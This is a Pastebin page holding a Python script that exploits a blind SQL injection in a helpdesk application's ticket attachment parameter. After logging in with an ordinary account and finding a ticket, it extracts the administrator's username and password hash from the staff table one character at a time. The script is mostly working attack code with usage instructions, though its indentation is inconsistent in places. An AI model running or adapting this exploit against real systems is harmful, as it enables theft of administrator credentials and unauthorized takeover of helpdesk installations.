Advertisement
Guest User

41200.py

a guest
Jan 23rd, 2019
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.16 KB | None | 0 0
  1. # it helps to fix your target URL with real numbers for the attachment param[]= parts instead of fake 1 values.
  2.  
  3.  
  4. import requests
  5. import sys
  6.  
  7. if( len(sys.argv) < 3):
  8.     print "put proper data like in example, remember to open a ticket before.... "
  9.     print "python helpdesk.py http://192.168.43.162/helpdesk/ myemailtologin@gmail.com password123"
  10.     exit()
  11. EMAIL = sys.argv[2]
  12. PASSWORD = sys.argv[3]
  13.  
  14. URL = sys.argv[1]
  15.  
  16. def get_token(content):
  17.     token = content
  18.     if "csrfhash" not in token:
  19.         return "error"
  20.     token = token[token.find('csrfhash" value="'):len(token)]
  21.     if '" />' in token:
  22.         token = token[token.find('value="')+7:token.find('" />')]
  23.     else:
  24.         token = token[token.find('value="')+7:token.find('"/>')]
  25.     return token
  26.  
  27. def get_ticket_id(content):
  28.     ticketid = content
  29.     if "param[]=" not in ticketid:
  30.                 return "error"
  31.     ticketid = ticketid[ticketid.find('param[]='):len(ticketid)]
  32.     ticketid = ticketid[8:ticketid.find('"')]
  33.     return ticketid
  34.  
  35.  
  36. def main():
  37.  
  38.     # Start a session so we can have persistant cookies
  39.     session = requests.session()
  40.  
  41.     r = session.get(URL+"")
  42.    
  43.     #GET THE TOKEN TO LOGIN
  44.         TOKEN = get_token(r.content)
  45.     if(TOKEN=="error"):
  46.         print "cannot find token"
  47.         exit();
  48.     #Data for login
  49.     login_data = {
  50.         'do': 'login',
  51.         'csrfhash': TOKEN,
  52.         'email': EMAIL,
  53.         'password': PASSWORD,
  54.         'btn': 'Login'
  55.     }
  56.  
  57.     # Authenticate
  58.     r = session.post(URL+"/?v=login", data=login_data)
  59.     #GET  ticketid
  60.     ticket_id = get_ticket_id(r.content)
  61.         if(ticket_id=="error"):
  62.                 print "ticketid not found, open a ticket first"
  63.         exit()
  64.         else:
  65.                 print "ticketid chosen was {}".format(ticket_id)
  66.     target = URL +"?v=view_tickets&action=ticket&param[]="+ticket_id+"&param[]=attachment&param[]=30&param[]=35"
  67.  
  68.     limit = 1
  69.         char = 47
  70.         prefix=[]
  71. #        while(char!=123):
  72. #                target_prefix = target+ " and ascii(substr((SeLeCt table_name from information_schema.columns where table_name like '%staff'  limit 0,1),"+str(limit)+",1)) =  "+str(char)+" -- -"
  73.  
  74. #                print "Trying URL with:\t{}".format(target_prefix)
  75.  
  76. #                response = session.get(target_prefix).content
  77. #                if "couldn't find" not in response:
  78. #                        print "FOUND A CHAR: {}".format(char)
  79. #                        prefix.append(char)
  80. #                        limit=limit+1
  81. #                        char=47
  82. #                else:
  83. #                        char=char+1
  84. #   table_prefix = ''.join(chr(i) for i in prefix)
  85. #   table_prefix = table_prefix[0:table_prefix.find('staff')]
  86.         table_prefix = ''  # config.php
  87.    
  88.         print "TABLE_PREFIX is {}".format(table_prefix)
  89.  
  90.     limit = 1
  91.     char = 47
  92.     admin_u=[]
  93.     while(char!=123):
  94.         target_username = target+ " AND 1=1 and ascii(substr((SeLeCt username from "+table_prefix+"staff  limit 0,1),"+str(limit)+",1)) =  "+str(char)+" -- -"
  95.                 print "Attempting URL: {}".format(target_username)
  96.         response = session.get(target_username).content
  97.         if "couldn't find" not in response:
  98.             admin_u.append(char)
  99.             limit=limit+1
  100.             char=47
  101.         else:
  102.             char=char+1
  103.  
  104.         limit = 1
  105.         char = 47
  106.         admin_pw=[]
  107.         while(char!=123):
  108.                 target_password = target+ " AND 1=1 and ascii(substr((SeLeCt password from "+table_prefix+"staff  limit 0,1),"+str(limit)+",1)) =  "+str(char)+" -- -"
  109.                 response = session.get(target_password).content
  110.                 if "couldn't find" not in response:
  111.                         admin_pw.append(char)
  112.                         limit=limit+1
  113.                         char=47
  114.                 else:
  115.                         char=char+1
  116.  
  117.  
  118.     admin_username = ''.join(chr(i) for i in admin_u)
  119.     admin_password = ''.join(chr(i) for i in admin_pw)
  120.  
  121.     print "------------------------------------------"
  122.     print "username: "+admin_username
  123.     print "password: sha256("+admin_password+")"
  124.     if admin_username==""  and  admin_password=='':
  125.         print "Your ticket have to include attachment, probably none atachments found, or prefix is not equal hdz_"
  126.         print "try to submit ticket with attachment"
  127. if __name__ == '__main__':
  128.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement